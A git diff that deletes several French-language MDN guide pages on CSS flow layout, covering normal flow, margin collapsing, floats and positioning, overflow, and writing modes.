{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow-width.html", '100%', 700)}}

+ +

La fusion des marges

+ +

La spécification indique que les marges verticales entre chaque éléments de bloc fusionnent. Cela signifie que si un élément avec une marge en haut suit directement un élément avec une marge en bas, plutôt que la marge résultante soit la somme des deux marges, on aura une fusion des marges et ce sera uniquement la plus grande des marges qui sera appliquée.

+ +

Dans l'exemple suivant, les paragraphes ont une marge en haut qui mesure 20 pixels et une marge en bas qui mesure 40 pixels. La taille de la marge entre les deux paragraphes est donc de 40px car la plus petite est « fusionnée » avec la plus grande.

+ +

{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow-collapsing.html", '100%', 500)}}

+ +

Pour en savoir plus à propos de la fusion des marges, vous pouvez lire l'article dédié à la fusion des marges.

+ +
+

Note : Si vous n'êtes pas certain⋅e que la fusion des marges a lieu, vous pouvez utiliser les outils de développement de votre navigateur afin de voir la valeur réellement utilisée pour les marges.

+ +

+
+ +

Les éléments qui participent à un contexte de formatage en ligne

+ +

Les éléments en ligne sont affichés les uns à la suite des autres selon la direction avec laquelle les phrases sont écrites pour ce mode d'écriture. Ces boîtes en ligne se suivent les unes après les autres. S'il n'y a pas suffisamment d'espace dans la boîte englobante, une boîte en ligne pourra être scindée pour passer à la ligne. Les lignes ainsi créées sont appelées des boîtes de ligne. Comme la plupart des objets en CSS, les éléments en ligne disposent bien d'une boîte (qu'on oublie parfois).

+ +

Dans l'exemple suivant on a trois boîtes en ligne créées par un paragraphe avec un élément {{HTMLElement("strong")}} à l'intérieur.

+ +

{{EmbedGHLiveSample("css-examples/flow/block-inline/inline.html", '100%', 500)}}

+ +

Les boîtes autour des mots, avant et après l'élément {{HTMLElement("<strong>")}} sont qualifiées de boîtes anonymes. Ce sont des boîtes qui permettent que tout soit contenu dans une boîte mais on ne peut pas cibler ces boîtes spécifiquement.

+ +

La taille de la boîte de la ligne sur l'axe orthogonal à l'axe de lecture est définie avec la taille de la plus grande boîte qu'elle contient. Dans l'exemple suivant, on a un élément {{HTMLElement("<strong>")}} qui a une taille de 300% et c'est donc son contenu qui détermine la hauteur de la boîte de ligne pour cette ligne.

+ +

{{EmbedGHLiveSample("css-examples/flow/block-inline/line-box.html", '100%', 500)}}

+ +

Pour en savoir plus sur le comportement des boîtes en ligne et des boîtes de bloc, vous pouvez consulter le guide sur le modèle de formatage visuel.

+ +

La propriété display et la disposition de flux

+ +

En plus des règles existantes en CSS 2.1, les spécifications CSS ultérieures décrivent plus en détail le comportement des boîtes en ligne et des boîtes en bloc. La propriété display définit la façon dont une boîte, et celles qu'elle contient, se comporte. Avec la spécification CSS Display Model Level 3, on en apprend plus sur la façon dont la propriété display modifie comportement des boîtes et des boîtes qu'elles génèrent.

+ +

Le type d'affichage d'un élément définit deux choses :

+ +
    +
  • le type d'affichage extérieur, qui décrit comment la boîte s'affiche au sein des éléments du même contexte de formatage
    • +
  • le type d'affichage intérieur comment les boîtes situées à l'intérieur de cet élément doivent se comporter
    • +
+ +

Dans l'exemple suivant, on a un élément {{HTMLElement("div")}} sur lequel on a appliqué display: flex. Le conteneur flexible se comporte comme un élément de bloc : il s'affiche sur une nouvelle ligne et occupe tout l'espace du bloc englobant dans l'axe en ligne. Aussi, le type d'affichage extérieur vaut block.

+ +

Les objets flexibles, à l'intérieur, contribuent à un contexte de formatage flexible car leur élément parent a display: flex. Aussi, le type d'affichage intérieur vaut flex et un nouveau contexte de formatage flexible est mis en place pour les éléments enfants.

+ +

{{EmbedGHLiveSample("css-examples/flow/block-inline/flex.html", '100%', 500)}}

+ +

On peut envisager chaque boîte CSS sous cet angle. La boîte possède un type d'affichage extérieur et sait ainsi comment se comporter avec les boîtes qui l'entourent. Ensuite, la boîte possède un type d'affichage intérieur qui permet d'organiser les éléments qu'elle contient. Ces éléments, à leur tour, disposent d'un type d'affichage extérieur et d'un type d'affichage intérieur. Dans l'exemple précédent, les objets flexibles ont des boîtes flexibles. Le type d'affichage extérieur est dicté par le contexte de formatage flexible. En revanche, leur type d'affichage intérieur est flow et leurs éléments enfants participeront à un flux normal. Les éléments enfants s'organiseront comme des éléments en ligne ou de bloc sauf si leur type d'affichage est explicitement modifié.

+ +

Le concept de type d'affichage extérieur et intérieur est important car il nous indique qu'un conteneur utilisant Flexbox (display: flex) ou les grilles CSS (display: grid) continue de participer à une disposition bloc/en ligne du fait du type d'affichage extérieur qui est block.

+ +

Modifier le contexte de formatage auquel un élément participe

+ +

Les navigateurs affichent les éléments en bloc ou ligne selon ce qui est pertinent pour chaque élément. Ainsi, l'élément {{HTMLElement("strong")}}, utilisé pour mettre en avant un mot (souvent alors affiché en gras), ne crée pas de nouvelle ligne pour afficher son contenu : ce n'est pas un élément de bloc mais un élément en ligne.

+ +

Si on souhaitait afficher tous les éléments {{HTMLElement("strong")}} comme des éléments de bloc, il suffirait d'ajouter la règle display: block en ciblant les éléments <strong>. Cela signifie qu'on peut toujours écrire un code HTML qui soit le plus sémantique possible pour le contenu puis modifier la façon dont le document est affiché grâce à CSS.

+ +

{{EmbedGHLiveSample("css-examples/flow/block-inline/change-formatting.html", '100%', 500)}}

+ +

Résumé

+ +

Dans ce guide, nous avons vu comment les éléments étaient affichés dans le flux normal, comme éléments de bloc ou comme éléments en ligne. Les éléments HTML s'afficheront par défaut de façon lisible sans CSS. En comprenant comment fonctionne le flux normal, vous comprendrez comment apporter les modifications nécessaires pour parvenir à la disposition désirée.

+ +

Voir aussi

+ + diff --git a/files/fr/web/css/css_flow_layout/dans_le_flux_ou_en_dehors/index.html b/files/fr/web/css/css_flow_layout/dans_le_flux_ou_en_dehors/index.html deleted file mode 100644 index 663f0a9c8a..0000000000 --- a/files/fr/web/css/css_flow_layout/dans_le_flux_ou_en_dehors/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Être ou ne pas être dans le flux -slug: Web/CSS/CSS_Flow_Layout/Dans_le_flux_ou_en_dehors -tags: - - CSS - - Guide - - Intermédiaire -translation_of: Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow ---- -
{{CSSRef}}
- -

Dans le précédent guide, nous avons vu le fonctionnement de la disposition en ligne et en bloc dans le flux normal. Tous les éléments qui sont « dans » le flux seront disposés grâce à cette méthode.

- -

Dans l'exemple qui suit, on a un titre, un paragraphe, une liste puis un paragraphe final qui contient un élément strong. Le titre et les paragraphes sont des éléments de blocs et l'élément strong est un élément en ligne. La liste est affichée en utilisant les boîtes flexibles afin d'avoir les éléments de la liste sur une même ligne mais cette liste contribue bien à la disposition en ligne et en bloc car le conteneur a un type display externe qui vaut block.

- -

{{EmbedGHLiveSample("css-examples/flow/in-flow/in-flow.html", '100%', 800)}}

- -

Dans ce cas, on peut dire que tous les éléments sont « dans le flux » et ils apparaissent sur la page selon le même ordre que le document source.

- -

Retirer un élément du flux

- -

Tous les éléments d'un document sont dans le flux à l'exception :

- -
    -
  • des éléments flottants
    • -
  • des éléments avec position: absolute ou avec position: fixed
    • -
  • de l'élément racine (html)
    • -
- -

Les éléments qui ne sont pas dans le flux créent un nouveau contexte de formatage de bloc (ou Block Formatting Context (BFC) en anglais) et tout ce qui est dans ce contexte peut être vu comme une disposition imbriquée, séparée et indépendante du reste de la page. L'élément racine est ainsi en dehors du flux car c'est le conteneur qui contient l'intégralité du document et qui fournit le contexte de formatage de bloc pour l'ensemble du document.

- -

Les éléments flottants

- -

Dans cet exemple, on a un élément div puis deux paragraphes. On a ajouté une couleur d'arrière-plan sur les paragraphes puis on a appliqué un flottement à gauche pour l'élément div. L'élément div est désormais en dehors du flux.

- -

Un élément flottant est d'abord disposé à l'endroit où il aurait été dans le flux normal puis il est retiré du flux et déplacé. Ici, il est déplacé le plus à gauche possible.

- -

{{EmbedGHLiveSample("css-examples/flow/in-flow/float.html", '100%', 800)}}

- -

On peut voir que la couleur du paragraphe suivant s'étend en dessous. Seules les boîtes de ligne du paragraphe ont été raccourcies et causent le passage à la ligne du contenu autour de l'élément flottant. La boîte du paragraphe s'affiche toujours selon les règles du flux normal. C'est pour cela qu''il faut ajouter une marge autour de l'élément flottant si on veut créer un espace autour. Avec une marge, on repoussera les boîtes de lignes adjacentes. Il n'est pas possible d'appliquer quoi que ce soit au contenu dans le flux pour obtenir le même effet.

- -

Le positionnement absolu

- -

En utilisant position: absolute ou position: fixed sur un élément, celui-ci est retiré du flux et tout l'espace qu'il aurait occupé est retiré. Dans l'exemple ci-après, on a trois paragraphes et le deuxième est ciblé avec position absolute et décalé avec les valeurs top: 30px et right: 30px. Cet élément est retiré du flux du document.

- -

{{EmbedGHLiveSample("css-examples/flow/in-flow/abspos.html", '100%', 700)}}

- -

Utiliser position: fixed retire également un objet de flux. Dans ce cas, les décalages seront calculés relativement à la zone d'affichage (viewport) plutôt que par rapport au bloc englobant.

- -

Lorsqu'on retire un élément du flux grâce au positionnement, il faut également gérer les cas où le contenu peut se superposer. Lorsqu'un élément est en dehors du flux, les autres éléments ne « sauront » plus qu'il est là et ne seront pas déplacés pour lui laisser la place.

- -

Le positionnement relatif et le flux

- -

Si on fournit un positionnement relatif en appliquant position: relative à un élément, celui-ci reste dans le flux mais on peut alors utiliser des décalages pour le déplacer. Toutefois, l'espace initialement occupé par l'élément est toujours réservé, comme on peut le voir dans l'exemple qui suit.

- -

{{EmbedGHLiveSample("css-examples/flow/in-flow/relative.html", '100%', 800)}}

- -

Dès qu'on retire ou qu'on décale un élément de son emplacement dans le flux normal, il faut s'attendre à devoir gérer le contenu environnant pour éviter les chevauchements. On pourra par exemple utiliser les flottements ou s'assurer que l'élément utilisant position: absolute n'est pas sur un autre contenu. C'est pour ces raisons que les méthodes qui retirent les éléments du flux doivent être utilisées avec circonspection.

- -

Résumé

- -

Dans ce guide, nous avons vu les différentes façons qui permettent de retirer un élément du flux afin d'obtenir certains positionnements spécifiques. Dans le prochain guide, nous verrons un concept similaire, celui de contexte de formatage de bloc dans Explications relatives aux contextes de formatage.

- -

Voir aussi

- - diff --git a/files/fr/web/css/css_flow_layout/disposition_de_bloc_en_ligne_avec_flux_normal/index.html b/files/fr/web/css/css_flow_layout/disposition_de_bloc_en_ligne_avec_flux_normal/index.html deleted file mode 100644 index 8566b8accd..0000000000 --- a/files/fr/web/css/css_flow_layout/disposition_de_bloc_en_ligne_avec_flux_normal/index.html +++ /dev/null @@ -1,128 +0,0 @@ ---- -title: Disposition de bloc et en ligne avec le flux normal -slug: Web/CSS/CSS_Flow_Layout/Disposition_de_bloc_en_ligne_avec_flux_normal -tags: - - CSS - - Guide - - Intermédiaire -translation_of: Web/CSS/CSS_Flow_Layout/Block_and_Inline_Layout_in_Normal_Flow ---- -
{{CSSRef}}
- -

Dans ce guide, nous verrons le comportement des éléments de bloc et des éléments en ligne lorsqu'ils sont placés dans le flux normal.

- -

Le flux normal est défini par la spécification CSS 2.1 qui explique comment les boîtes du flux normal s'inscrivent dans le contexte de formatage. Les boîtes peuvent être de bloc (block) ou en ligne (inline) mais pas les deux à la fois. Les boîtes de bloc contribuent au contexte de formatage des blocs et les boîtes en ligne contribuent au contexte de formatage en ligne.

- -

Le comportement des éléments qui ont un contexte de formatage de bloc ou en ligne est également défini dans cette spécification. Pour les éléments avec un contexte de formatage de bloc, voici ce qui est indiqué dans la spécification :

- -
-

« Dans un contexte de formatage de bloc, les boîtes sont disposées l'une après l'autre, verticalement, en démarrant en haut du bloc englobant. La distance verticale entre deux boîtes voisines est déterminée par les propriétés relatives aux marges. Les marges verticales fusionnent pour deux boîtes de bloc voisines au sein d'un contexte de formatage de bloc.
-
- Dans un contexte de formatage de bloc, chaque bord gauche de chaque boîte touche le bord gauche du bloc englobant (pour les documents écrits de droite à gauche, ce sont les bords droits qui coïncident). » - 9.4.1

-
- -

Quant aux éléments du contexte de formatage en ligne :

- -
-

« Dans un contexte de formatage en ligne, les boîtes sont disposées horizontalement les unes après les autres, en démarrant en haut du bloc englobant. Les marges, bordures, espaces de remplissage (padding) entre ces boîtes sont respectées. L'alignement vertical des boîtes peut varier (alignement du bas et du haut ou alignement des lignes de base du texte). La zone rectangulaire contenant les boîtes qui forment une ligne est appelée une "boîte de ligne". » - 9.4.2

-
- -

On notera que la spécification CSS 2.1 décrit des documents dont le mode d'écriture est horizontal, allant de haut en bas. C'est notamment le cas avec la description de la distance verticale entre les boîtes de bloc. Le comportement des éléments de bloc et en ligne est donc le même lorsqu'on a un mode d'écriture vertical. Nous verrons cela dans un article suivant.

- -

Les éléments qui participent à un contexte de formatage de bloc

- -

Les éléments de bloc organisés avec un mode d'écriture horizontal (un document en français par exemple) sont disposés verticalement les uns au dessus des autres.

- -

- -

Avec un mode d'écriture vertical, les boîtes seraient organisées horizontalement.

- -

- -

Dans la suite de ce guide, nous prendrons l'hypothèse d'un mode d'écriture horizontal. Toutefois, tout ce qui est décrit fonctionne de la même façon pour un mode d'écriture vertical.

- -

Comme indiqué dans la spécification, les marges entre deux boîtes de bloc permettent de créer une séparation entre les éléments. On peut voir ceci dans un exemple simple avec deux paragraphes auxquels on ajoute une bordure. La feuille de style par défaut du navigateur ajoute un espace entre les paragraphes en ajoutant une marge en haut et en bas.

- -

{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow.html", '100%', 700)}}

- -

Si on définit explicitement des marges nulles sur les paragraphes, les bordures se toucheront.

- -

{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow-margin-zero.html", '100%', 700)}}

- -

Par défaut, les éléments de bloc consomment tout l'espace disponible sur l'axe en ligne. Ainsi, les paragraphes « s'étalent » horizontalement autant qu'ils le peuvent au sein du bloc englobant. Si on fixait leur longueur afin que deux paragraphes puissent tenir horizontalement, ils seraient tout de même l'un au dessus de l'autre. Chaque boîte de bloc commencera au début de l'axe de bloc du bloc englobant.

- -

{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow-width.html", '100%', 700)}}

- -

La fusion des marges

- -

La spécification indique que les marges verticales entre chaque éléments de bloc fusionnent. Cela signifie que si un élément avec une marge en haut suit directement un élément avec une marge en bas, plutôt que la marge résultante soit la somme des deux marges, on aura une fusion des marges et ce sera uniquement la plus grande des marges qui sera appliquée.

- -

Dans l'exemple suivant, les paragraphes ont une marge en haut qui mesure 20 pixels et une marge en bas qui mesure 40 pixels. La taille de la marge entre les deux paragraphes est donc de 40px car la plus petite est « fusionnée » avec la plus grande.

- -

{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow-collapsing.html", '100%', 500)}}

- -

Pour en savoir plus à propos de la fusion des marges, vous pouvez lire l'article dédié à la fusion des marges.

- -
-

Note : Si vous n'êtes pas certain⋅e que la fusion des marges a lieu, vous pouvez utiliser les outils de développement de votre navigateur afin de voir la valeur réellement utilisée pour les marges.

- -

-
- -

Les éléments qui participent à un contexte de formatage en ligne

- -

Les éléments en ligne sont affichés les uns à la suite des autres selon la direction avec laquelle les phrases sont écrites pour ce mode d'écriture. Ces boîtes en ligne se suivent les unes après les autres. S'il n'y a pas suffisamment d'espace dans la boîte englobante, une boîte en ligne pourra être scindée pour passer à la ligne. Les lignes ainsi créées sont appelées des boîtes de ligne. Comme la plupart des objets en CSS, les éléments en ligne disposent bien d'une boîte (qu'on oublie parfois).

- -

Dans l'exemple suivant on a trois boîtes en ligne créées par un paragraphe avec un élément {{HTMLElement("strong")}} à l'intérieur.

- -

{{EmbedGHLiveSample("css-examples/flow/block-inline/inline.html", '100%', 500)}}

- -

Les boîtes autour des mots, avant et après l'élément {{HTMLElement("<strong>")}} sont qualifiées de boîtes anonymes. Ce sont des boîtes qui permettent que tout soit contenu dans une boîte mais on ne peut pas cibler ces boîtes spécifiquement.

- -

La taille de la boîte de la ligne sur l'axe orthogonal à l'axe de lecture est définie avec la taille de la plus grande boîte qu'elle contient. Dans l'exemple suivant, on a un élément {{HTMLElement("<strong>")}} qui a une taille de 300% et c'est donc son contenu qui détermine la hauteur de la boîte de ligne pour cette ligne.

- -

{{EmbedGHLiveSample("css-examples/flow/block-inline/line-box.html", '100%', 500)}}

- -

Pour en savoir plus sur le comportement des boîtes en ligne et des boîtes de bloc, vous pouvez consulter le guide sur le modèle de formatage visuel.

- -

La propriété display et la disposition de flux

- -

En plus des règles existantes en CSS 2.1, les spécifications CSS ultérieures décrivent plus en détail le comportement des boîtes en ligne et des boîtes en bloc. La propriété display définit la façon dont une boîte, et celles qu'elle contient, se comporte. Avec la spécification CSS Display Model Level 3, on en apprend plus sur la façon dont la propriété display modifie comportement des boîtes et des boîtes qu'elles génèrent.

- -

Le type d'affichage d'un élément définit deux choses :

- -
    -
  • le type d'affichage extérieur, qui décrit comment la boîte s'affiche au sein des éléments du même contexte de formatage
    • -
  • le type d'affichage intérieur comment les boîtes situées à l'intérieur de cet élément doivent se comporter
    • -
- -

Dans l'exemple suivant, on a un élément {{HTMLElement("div")}} sur lequel on a appliqué display: flex. Le conteneur flexible se comporte comme un élément de bloc : il s'affiche sur une nouvelle ligne et occupe tout l'espace du bloc englobant dans l'axe en ligne. Aussi, le type d'affichage extérieur vaut block.

- -

Les objets flexibles, à l'intérieur, contribuent à un contexte de formatage flexible car leur élément parent a display: flex. Aussi, le type d'affichage intérieur vaut flex et un nouveau contexte de formatage flexible est mis en place pour les éléments enfants.

- -

{{EmbedGHLiveSample("css-examples/flow/block-inline/flex.html", '100%', 500)}}

- -

On peut envisager chaque boîte CSS sous cet angle. La boîte possède un type d'affichage extérieur et sait ainsi comment se comporter avec les boîtes qui l'entourent. Ensuite, la boîte possède un type d'affichage intérieur qui permet d'organiser les éléments qu'elle contient. Ces éléments, à leur tour, disposent d'un type d'affichage extérieur et d'un type d'affichage intérieur. Dans l'exemple précédent, les objets flexibles ont des boîtes flexibles. Le type d'affichage extérieur est dicté par le contexte de formatage flexible. En revanche, leur type d'affichage intérieur est flow et leurs éléments enfants participeront à un flux normal. Les éléments enfants s'organiseront comme des éléments en ligne ou de bloc sauf si leur type d'affichage est explicitement modifié.

- -

Le concept de type d'affichage extérieur et intérieur est important car il nous indique qu'un conteneur utilisant Flexbox (display: flex) ou les grilles CSS (display: grid) continue de participer à une disposition bloc/en ligne du fait du type d'affichage extérieur qui est block.

- -

Modifier le contexte de formatage auquel un élément participe

- -

Les navigateurs affichent les éléments en bloc ou ligne selon ce qui est pertinent pour chaque élément. Ainsi, l'élément {{HTMLElement("strong")}}, utilisé pour mettre en avant un mot (souvent alors affiché en gras), ne crée pas de nouvelle ligne pour afficher son contenu : ce n'est pas un élément de bloc mais un élément en ligne.

- -

Si on souhaitait afficher tous les éléments {{HTMLElement("strong")}} comme des éléments de bloc, il suffirait d'ajouter la règle display: block en ciblant les éléments <strong>. Cela signifie qu'on peut toujours écrire un code HTML qui soit le plus sémantique possible pour le contenu puis modifier la façon dont le document est affiché grâce à CSS.

- -

{{EmbedGHLiveSample("css-examples/flow/block-inline/change-formatting.html", '100%', 500)}}

- -

Résumé

- -

Dans ce guide, nous avons vu comment les éléments étaient affichés dans le flux normal, comme éléments de bloc ou comme éléments en ligne. Les éléments HTML s'afficheront par défaut de façon lisible sans CSS. En comprenant comment fonctionne le flux normal, vous comprendrez comment apporter les modifications nécessaires pour parvenir à la disposition désirée.

- -

Voir aussi

- - diff --git "a/files/fr/web/css/css_flow_layout/disposition_flux_et_d\303\251passement/index.html" "b/files/fr/web/css/css_flow_layout/disposition_flux_et_d\303\251passement/index.html" deleted file mode 100644 index 703af33bee..0000000000 --- "a/files/fr/web/css/css_flow_layout/disposition_flux_et_d\303\251passement/index.html" +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: La disposition en flux et le dépassement -slug: Web/CSS/CSS_Flow_Layout/Disposition_flux_et_dépassement -tags: - - CSS - - Guide - - Intermédiaire -translation_of: Web/CSS/CSS_Flow_Layout/Flow_Layout_and_Overflow ---- -
{{QuickLinksWithSubpages("/fr/docs/Web/CSS/CSS_Flow_Layout/")}}
- -

Lorsque le conteneur est trop petit pour son contenu, on obtient une situation de dépassement. Le comportement du dépassement est importante dès qu'on manipule des objets CSS dont la taille est contrainte. Dans ce guide, nous verrons le fonctionnement du dépassement avec le flux normal.

- -

Qu'est-ce que le dépassement ?

- -

Pour créer un exemple de dépassement, prenons un élément avec une hauteur et une largeur fixés puis ajoutons un contenu trop important dans la boîte :

- -

{{EmbedGHLiveSample("css-examples/flow/overflow/overflow.html", '100%', 700)}}

- -

Le contenu « arrive » dans la boîte puis remplit celle-ci et ensuite, il dépasse en affichant du contenu en dehors de la boîte éventuellement en dessous du contenu environnant. Pour contrôler le comportement du dépassement, on pourra utiliser la propriété overflow. La valeur initiale de cette propriété est visible et c'est pour cela qu'on voit le contenu dépasser.

- -

Contrôler le dépassement

- -

La propriété overflow possède d'autres valeurs qui permettent de contrôler le dépassement. Afin de masquer le contenu qui dépasse, on peut utiliser la valeur hidden. Avec cette valeur, une partie du contenu peut ne pas être visible.

- -

{{EmbedGHLiveSample("css-examples/flow/overflow/hidden.html", '100%', 700)}}

- -

Avec la valeur scroll, le contenu est dans la boîte et des barres de défilement sont ajoutées à la boîte afin de pouvoir défiler et voir le contenu. Les barres de défilement seront ajoutées, même si le contenu « tient » dans la boîte.

- -

{{EmbedGHLiveSample("css-examples/flow/overflow/scroll.html", '100%', 700)}}

- -

Avec la valeur auto, le contenu sera affiché sans barre de défilement s'il tient dans la boîte. S'il dépasse, des barres de défilement sont ajoutées. En comparant l'exemple précédent avec celui qui suit, on peut voir que overflow: scroll ajoute des barres de défilement verticales et horizontales (même s'il y a uniquement besoin du défilement vertical). Avec la valeur auto, seules les barres de défilement nécessaires sont ajoutées.

- -

{{EmbedGHLiveSample("css-examples/flow/overflow/auto.html", '100%', 700)}}

- -

Comme nous l'avons vu plus tôt, toute valeur qui est différente de visible créera un nouveau contexte de formatage de bloc.

- -
-

Note : Dans le brouillon du module de spécification Overflow de niveau 3, une valeur est ajoutée : overflow: clip. Cette valeur agira comme overflow: hidden mais ne permettra de faire défiler le contenu à l'aide de code. La boîte ne pourra pas défiler. De plus, cette valeur ne crée pas de contexte de formatage de bloc.

-
- -

Pour être tout à fait précis, la propriété overflow est une propriété raccourcie pour les propriétés overflow-x et overflow-y. Si on fournit une valeur, celle-ci sera utilisée pour les deux axes. On peut aussi fournir deux valeurs, auquel cas la première sera utilisée pour overflow-x et la seconde pour overflow-y. Dans l'exemple qui suit, seule overflow-y: scroll est utilisée et la barre de défilement horizontale superflue n'est pas ajoutée.

- -

{{EmbedGHLiveSample("css-examples/flow/overflow/overflow-y.html", '100%', 700)}}

- -

Les propriétés relatives

- -

Dans le guide sur les modes d'écriture et la disposition en flux, nous avons étudié des propriétés plus récentes block-size et inline-size qui permettent de raisonner avec les modes d'écriture plutôt qu'avec les dimensions physiques de l'écran. La spécification de niveau 3 Overflow inclut également les propriétés correspondantes pour le dépassement : overflow-block et overflow-inline. Ces propriétés « logiques » correspondent aux propriétés « physiques » overflow-x et overflow-y où la correspondance varie en fonction du mode d'écriture du document.

- -

À l'heure où nous écrivons ces lignes, ces deux propriétés ne sont pas implémentées par les navigateurs et il faut donc s'en tenir aux propriétés physiques et ajuster selon le mode d'écriture.

- -

Gérer le dépassement

- -

Dans la spécification de niveau 3 sur le dépassement, certaines propriétés aident à améliorer l'apparence du contenu lors d'un dépassement.

- -

Dépassement sur l'axe en ligne

- -

La propriété text-overflow indique comment afficher le texte qui dépasse sur l'axe en ligne. La valeur clip qui coupe le contenu qui dépasse, c'est la valeur initiale et le comportement par défaut. La valeur ellipsis permet d'afficher une ellipse qui peut être adaptée en fonction de la langue ou du mode d'écriture utilisé.

- -

{{EmbedGHLiveSample("css-examples/flow/overflow/text-overflow.html", '100%', 500)}}

- -

Dépassement sur l'axe de bloc

- -

Il existe également une proposition pour une propriété block-overflow. Toutefois, celle-ci (ainsi que son nom) est toujours en discussion. La proposition consisterait à pouvoir afficher une ellipse lorsque le contenu dépasse sur l'axe de bloc.

- -

Cette propriété serait par exemple utile lorsqu'on a une liste d'article avec une boîte pour chaque article dont la hauteur est fixée. Si le texte qui dépasse est masqué, ce n'est pas nécessairement évident qu'il y a du contenu supplémentaire et qu'il faut cliquer pour le lire. Ajouter une ellipse rendrait ce dépassement plus perceptible.

- -

Résumé

- -

Qu'on manipule un média « continu » sur le Web ou un format paginé (impression ou EPUB), il est utile de comprendre la façon dont le dépassement agit, quelle que soit la méthode de dépassement. En comprenant comment le dépassement fonctionne avec le flux normal, ce devrait être plus simple de comprendre le fonctionnement du dépassement pour les autres méthodes comme les grilles ou les boîtes flexibles.

diff --git "a/files/fr/web/css/css_flow_layout/disposition_flux_et_modes_\303\251criture/index.html" "b/files/fr/web/css/css_flow_layout/disposition_flux_et_modes_\303\251criture/index.html" deleted file mode 100644 index 2ecf299ce2..0000000000 --- "a/files/fr/web/css/css_flow_layout/disposition_flux_et_modes_\303\251criture/index.html" +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: Disposition de flux et modes d'écriture -slug: Web/CSS/CSS_Flow_Layout/Disposition_flux_et_modes_écriture -tags: - - CSS - - Guide - - Mode d'écriture -translation_of: Web/CSS/CSS_Flow_Layout/Flow_Layout_and_Writing_Modes ---- -

La spécification CSS 2.1, qui décrit le comportement classique du flux normal, prend l'hypothèse d'un mode d'écriture horizontal. Les propriétés liées à la disposition devraient fonctionner de façon identique pour les modes d'écritures verticaux. Dans ce guide, nous verrons comment le flux normal se comporte selon les différents modes d'écriture.

- -

Ce guide n'est pas un guide exhaustif sur l'utilisation des modes d'écriture en CSS. Son objectif est de documenter les interactions, éventuellement inattendues, entre le flux et les modes d'écriture. Pour plus de ressources à ce sujet, vous pouvez vour référer aux ressources externes ainsi qu'à la section Voir aussi en fin de page.

- -

La spécification des modes d'écriture

- -

Le module de spécification CSS Writing Modes de niveau 3 définit l'impact du mode d'écriture sur le flux. Voici l'introduction de la spécification quant aux modes d'écriture :

- -
-

« En CSS, un mode d'écriture est défini par les propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. Ce mode est principalement défini selon sa direction en ligne (inline) et selon sa direction de bloc. »

-
- -

La spécification définit la direction en ligne comme la direction selon laquelle le contenu est ordonné sur une ligne. Cela définit le début et la fin de la direction en ligne. Le début correspond à l'emplacement du début d'une phrase sur la ligne et la fin correspond à l'emplacement où la ligne de texte se coupe pour passer sur une nouvelle ligne.

- -

La direction de bloc correspond à la direction selon laquelle les boîtes (ex. les paragraphes) s'empilent pour ce mode d'écriture. La propriété writing-mode contrôle la direction de bloc. Si on souhaite changer la page ou une partie de la page afin d'utiliser la direction vertical-lr, on pourra utiliser writing-mode: vertical-lr sur un élément. Cela aura pour effet de modifier la direction de bloc et, par conséquent, de modifier la direction en ligne.

- -

Les modes d'écritures peuvent être utilisés pour respecter la façon d'écrire de certaines langues. Ils peuvent également être utilisés à des fins stylistiques (pour avoir un titre vertical par exemple).

- -

{{EmbedGHLiveSample("css-examples/flow/writing-modes/creative-use.html", '100%', 720)}}

- -

La propriété writing-mode et le flux de bloc

- -

La propriété {{cssxref("writing-mode")}} s'utilise avec les valeurs horizontal-tb, vertical-rl et vertical-lr. Ces valeurs contrôlent la direction selon laquelle les blocs se suivent sur la page. La valeur initiale de cette propriété est horizontal-tb ce qui signifie que l'axe de bloc est dirigé de haut en bas (tb pour top to bottom qui signifie de haut en bas) et que l'axe en ligne est horizontal. Les langues qui s'écrivent de gauche à droite telles que le français ou les langues qui s'écrivent de droite à gauche telles que l'arabe utilisent toutes horizontal-tb.

- -

Voici un exemple avec horizontal-tb.

- -

{{EmbedGHLiveSample("css-examples/flow/writing-modes/horizontal-tb.html", '100%', 720)}}

- -

La valeur vertical-rl permet d'avoir une direction de bloc de droite à gauche et une direction en ligne verticale, comme on peut le voir dans l'exemple qui suit.

- -

{{EmbedGHLiveSample("css-examples/flow/writing-modes/vertical-rl.html", '100%', 720)}}

- -

Dans cet autre exemple, on voit comment se comporte la troisième valeur possible pour writing-mode : vertical-lr. On a une direction de bloc horizontal de la gauche vers la droite et une direction en ligne verticale.

- -

{{EmbedGHLiveSample("css-examples/flow/writing-modes/vertical-lr.html", '100%', 720)}}

- -

Les boîtes utilisant un mode d'écriture différent de leur parent

- -

Lorsqu'une boîte imbriquée se voit affecter un mode d'écriture différent de son parent, une boîte en ligne s'affichera comme si elle avait display: inline-block.

- -

{{EmbedGHLiveSample("css-examples/flow/writing-modes/inline-change-mode.html", '100%', 720)}}

- -

Une boîte de bloc créera un nouveau contexte de formatage. Ainsi, si son type d'affichage intérieur vaut flow, le type d'affichage calculé sera flow-root. On peut voir ce comportement dans l'exemple qui suit où la boîte affichée avec horizontal-tb contient un élément flottant contenu car son élément parent crée un nouveau contexte de formatage.

- -

{{EmbedGHLiveSample("css-examples/flow/writing-modes/block-change-mode.html", '100%', 720)}}

- -

Les éléments remplacés

- -

Les éléments remplacés tels que les images ne changeront pas d'oritentation selon la valeur de la propriété writing-mode. Toutefois, les éléments remplacés tels que les éléments de formulaires qui incluent du texte devraient utiliser le mode d'écriture courant.

- -

{{EmbedGHLiveSample("css-examples/flow/writing-modes/replaced.html", '100%', 720)}}

- -

Les propriétés et valeurs logiques

- -

Lorsqu'on travaille avec des modes d'écriture autres que horizontal-tb, la plupart des propriétés et des valeurs correspondant aux dimensions physiques de l'écran semblent étranges. Ainsi, si on a une boîte qui fait 100 pixels de large, avec horizontal-tb cette largeur sera selon la direction en ligne. Mais avec le mode vertical-lr cela contrôlera la direction de bloc car elle ne tourne pas avec le texte.

- -

{{EmbedGHLiveSample("css-examples/flow/writing-modes/width.html", '100%', 720)}}

- -

